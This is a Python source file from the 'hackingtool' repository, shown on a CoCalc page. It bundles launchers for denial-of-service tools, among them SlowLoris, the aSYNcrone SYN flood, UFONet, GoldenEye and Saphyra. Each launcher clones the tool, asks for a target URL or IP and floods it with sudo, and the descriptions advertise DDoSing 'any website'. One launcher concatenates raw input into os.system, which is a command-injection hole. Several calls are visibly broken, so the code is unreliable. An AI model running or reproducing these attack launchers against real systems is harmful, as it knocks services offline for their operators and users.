Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
Z4nzu
GitHub Repository: Z4nzu/hackingtool
Path: blob/master/tools/ddos.py
1269 views
1
# coding=utf-8
2
import os
3
import subprocess
4
5
from core import HackingTool
6
from core import HackingToolsCollection
7
8
9
class ddos(HackingTool):
10
TITLE = "ddos"
11
DESCRIPTION = (
12
"Best DDoS Attack Script With 36 Plus Methods."
13
"DDoS attacks\n\b "
14
"for SECURITY TESTING PURPOSES ONLY! "
15
)
16
17
INSTALL_COMMANDS = [
18
"git clone https://github.com/the-deepnet/ddos.git",
19
"cd ddos;sudo pip3 install -r requirements.txt",
20
]
21
PROJECT_URL = "https://github.com/the-deepnet/ddos.git"
22
23
def run(self):
24
method = input("Enter Method >> ")
25
url = input("Enter URL >> ")
26
threads = input("Enter Threads >> ")
27
proxylist = input(" Enter ProxyList >> ")
28
multiple = input(" Enter Multiple >> ")
29
timer = input(" Enter Timer >> ")
30
os.system("cd ddos;")
31
subprocess.run(
32
[
33
"sudo",
34
"python3 ddos",
35
method,
36
url,
37
"socks_type5.4.1",
38
threads,
39
proxylist,
40
multiple,
41
timer,
42
]
43
)
44
45
46
class SlowLoris(HackingTool):
47
TITLE = "SlowLoris"
48
DESCRIPTION = (
49
"Slowloris is basically an HTTP Denial of Service attack."
50
"It send lots of HTTP Request"
51
)
52
INSTALL_COMMANDS = ["sudo pip3 install slowloris"]
53
54
def run(self):
55
target_site = input("Enter Target Site:- ")
56
subprocess.run(["slowloris", target_site])
57
58
59
class Asyncrone(HackingTool):
60
TITLE = "Asyncrone | Multifunction SYN Flood DDoS Weapon"
61
DESCRIPTION = (
62
"aSYNcrone is a C language based, mulltifunction SYN Flood "
63
"DDoS Weapon.\nDisable the destination system by sending a "
64
"SYN packet intensively to the destination."
65
)
66
INSTALL_COMMANDS = [
67
"git clone https://github.com/fatih4842/aSYNcrone.git",
68
"cd aSYNcrone;sudo gcc aSYNcrone.c -o aSYNcrone -lpthread",
69
]
70
PROJECT_URL = "https://github.com/fatihsnsy/aSYNcrone"
71
72
def run(self):
73
source_port = input("Enter Source Port >> ")
74
target_ip = input("Enter Target IP >> ")
75
target_port = input("Enter Target port >> ")
76
os.system("cd aSYNcrone;")
77
subprocess.run(
78
["sudo", "./aSYNcrone", source_port, target_ip, target_port, 1000]
79
)
80
81
82
class UFONet(HackingTool):
83
TITLE = "UFOnet"
84
DESCRIPTION = (
85
"UFONet - is a free software, P2P and cryptographic "
86
"-disruptive \n toolkit- that allows to perform DoS and "
87
"DDoS attacks\n\b "
88
"More Usage Visit"
89
)
90
INSTALL_COMMANDS = [
91
"sudo git clone https://github.com/epsylon/ufonet.git",
92
"cd ufonet;sudo python3 setup.py install;sudo pip3 install GeoIP;sudo pip3 install python-geoip;sudo pip3 install pygeoip;sudo pip3 install requests;sudo pip3 install pycrypto;sudo pip3 install pycurl;sudo pip3 install whois;sudo pip3 install scapy-python3",
93
]
94
RUN_COMMANDS = ["sudo python3 ufonet --gui"]
95
PROJECT_URL = "https://github.com/epsylon/ufonet"
96
97
98
class GoldenEye(HackingTool):
99
TITLE = "GoldenEye"
100
DESCRIPTION = (
101
"GoldenEye is a python3 app for SECURITY TESTING PURPOSES ONLY!\n"
102
"GoldenEye is a HTTP DoS Test Tool."
103
)
104
INSTALL_COMMANDS = [
105
"sudo git clone https://github.com/jseidl/GoldenEye.git;"
106
"chmod -R 755 GoldenEye"
107
]
108
PROJECT_URL = "https://github.com/jseidl/GoldenEye"
109
110
def run(self):
111
os.system("cd GoldenEye ;sudo ./goldeneye.py")
112
print("\033[96m Go to Directory \n [*] USAGE: ./goldeneye.py <url> [OPTIONS]")
113
114
115
class Saphyra(HackingTool):
116
TITLE = "SaphyraDDoS"
117
DESCRIPTION = "A complex python code to DDoS any website with a very easy usage.!\n"
118
INSTALL_COMMANDS = [
119
"sudo su",
120
"git clone https://github.com/anonymous24x7/Saphyra-DDoS.git",
121
"cd Saphyra-DDoS",
122
"chmod +x saphyra.py",
123
"python saphyra.py",
124
]
125
PROJECT_URL = "https://github.com/anonymous24x7/Saphyra-DDoS"
126
127
def run(self):
128
url = input("Enter url>>> ")
129
try:
130
os.system("python saphyra.py " + url)
131
except Exception:
132
print("Enter a valid url.")
133
134
135
class DDOSTools(HackingToolsCollection):
136
TITLE = "DDOS Attack Tools"
137
TOOLS = [SlowLoris(), Asyncrone(), UFONet(), GoldenEye(), Saphyra()]
138
139